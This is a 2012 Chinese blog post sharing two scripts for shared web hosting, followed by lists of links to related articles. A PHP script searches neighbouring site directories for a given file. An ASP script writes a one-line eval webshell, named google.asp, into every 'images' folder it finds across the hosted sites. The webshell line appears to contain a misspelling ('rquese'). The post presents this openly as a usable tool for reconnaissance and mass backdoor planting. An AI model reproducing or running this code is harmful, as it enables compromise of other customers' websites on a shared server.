php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
最省空间的计数器
Oct 09 PHP
让你同时上传 1000 个文件 (二)
Oct 09 PHP
php 连接mssql数据库 初学php笔记
Mar 01 PHP
PHP中=赋值操作符对不同数据类型的不同行为
Jan 02 PHP
PHP判断图片格式的七种方法小结
Jun 03 PHP
php unset全局变量运用问题的深入解析
Jun 17 PHP
PHP $_FILES中error返回值详解
Jan 30 PHP
php中json_encode UTF-8中文乱码的更好解决方法
Sep 28 PHP
php5.3提示Function ereg() is deprecated Error问题解决方法
Nov 12 PHP
如何使用纯PHP实现定时器任务(Timer)
Jul 31 PHP
PHP程序中的文件锁、互斥锁、读写锁使用技巧解析
Mar 21 PHP
PHP图像处理技术实例总结【绘图、水印、验证码、图像压缩】
Dec 08 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP中函数内引用全局变量的方法
2008/10/20 PHP
深入php之规范编程命名小结
2013/05/15 PHP
微信公众平台网页授权获取用户基本信息中授权回调域名设置的变动
2014/10/21 PHP
万能的php分页类
2017/07/06 PHP
thinkphp分页集成实例
2017/07/24 PHP
JQuery打造PHP的AJAX表单提交实例
2009/11/03 Javascript
jquery的$getjson调用并获取远程的JSON字符串问题
2012/12/10 Javascript
JSP中使用JavaScript动态插入删除输入框实现代码
2014/06/13 Javascript
JavaScript字符串对象replace方法实例(用于字符串替换或正则替换)
2014/10/16 Javascript
Node.js开源应用框架HapiJS介绍
2015/01/14 Javascript
使用npm发布Node.JS程序包教程
2015/03/02 Javascript
jQuery实现带有洗牌效果的动画分页实例
2015/08/31 Javascript
KnockoutJS 3.X API 第四章之数据控制流with绑定
2016/10/10 Javascript
JQuery.validationEngine表单验证插件(推荐)
2016/12/10 Javascript
浅谈ES6新增的数组方法和对象
2017/08/08 Javascript
前后端如何实现登录token拦截校验详解
2018/09/03 Javascript
js指定日期增加指定月份的实现方法
2018/12/19 Javascript
深入浅析vue-cli@3.0 使用及配置说明
2019/05/08 Javascript
nodejs实现获取本地文件夹下图片信息功能示例
2019/06/22 NodeJs
在vue和element-ui的table中实现分页复选功能
2019/12/04 Javascript
[04:31]2016国际邀请赛中国区预选赛妖精采访
2016/06/27 DOTA
Python使用poplib模块和smtplib模块收发电子邮件的教程
2016/07/02 Python
发布你的Python模块详解
2016/09/15 Python
python使用logging模块发送邮件代码示例
2018/01/18 Python
Python3实现的简单验证码识别功能示例
2018/05/02 Python
Python中的元组介绍
2019/01/28 Python
Python 3.8 新功能大揭秘【新手必学】
2020/02/05 Python
HTML5+lufylegend实现游戏中的卷轴
2016/02/29 HTML / CSS
浅析图片上传及canvas压缩的流程
2020/06/10 HTML / CSS
大学毕业生通用自荐信范文
2013/10/31 职场文书
校园创业策划书
2014/01/14 职场文书
清明节主题班会
2015/08/14 职场文书
2016党风廉政建设心得体会范文
2016/01/25 职场文书
SpringRetry重试框架的具体使用
2021/07/25 Java/Android
NodeJs使用webpack打包项目的方法详解
2022/02/28 NodeJs
JavaScript获取URL参数的方法分享
2022/04/07 Javascript